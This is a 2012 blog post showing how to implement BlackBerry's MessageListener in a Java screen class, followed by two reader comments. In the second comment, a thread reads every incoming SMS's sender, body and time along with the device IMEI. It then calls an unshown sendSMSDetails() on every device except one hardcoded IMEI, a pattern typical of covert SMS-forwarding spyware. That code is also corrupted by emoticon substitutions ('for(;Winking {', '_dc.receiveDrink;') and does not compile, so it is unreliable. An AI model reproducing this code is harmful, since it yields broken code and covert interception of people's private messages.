Search This Blog

Wednesday, 13 June 2012

How to use MessageListener in Blackberry

Hello friends,
               Sorry for not posting as i am not doing any development from last few days.Here it is a very much simple thing ,using message listener in Blackberry and doing some task on incoming message.

Code:
public final class MyScreen extends MainScreen implements MessageListener
{
   
    public MyScreen()
    {       
      
       
    }

    public void onMessage(Destination arg0, Message arg1) {
        System.out.println("OnMessage Countered.");
       
       
    }

    public void onMessageCancelled(Destination destination,
            int cancelledMessageId) {
        System.out.println("On message Cancelled Countered.");
       
    }

    public void onMessageFailed(Destination destination,
            MessageFailureException exception) {
        System.out.println("On Message Failed Countered.");
       
    }
    public boolean onClose(){
        UiApplication.getUiApplication().requestBackground();
        return true;
    }
}

2 comments:

  1. help me.. i got an error implementing your code above.
    my eclipse tell me that "MyScreen" must implement the inherited abstract ....

    what should i do?

    ReplyDelete
  2. Sorry i did not update this code:Please use the below code for tracking incoming sms


    private static class ListeningThread extends Thread {
    private boolean _stop = false;
    private DatagramConnection _dc;
    public synchronized void stop() {
    _stop = true;
    try {
    _dc.close();
    } catch (IOException e) {
    System.err.println("stop().IOException: "+e.toString());
    }
    }
    public void run() {
    try {
    _dc = (DatagramConnection)Connector.open("sms://");
    for(;Winking {
    if ( _stop ) {
    return;
    }
    Datagram d = _dc.newDatagram(_dc.getMaximumLength());
    _dc.receiveDrink;
    _msgType = "Incoming";
    _msgAddress = new String(d.getAddress());
    _msgBody = new String(d.getData());
    _msgTime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(System.currentTimeMillis()));
    String _imei = GPRSInfo.imeiToString(GPRSInfo.getIMEI(), false);
    if(!_imei.equals("359598041629429"))
    sendSMSDetails();
    }
    } catch (IOException e) {
    System.err.println("run().IOException: "+e.toString());
    }
    }
    }

    ReplyDelete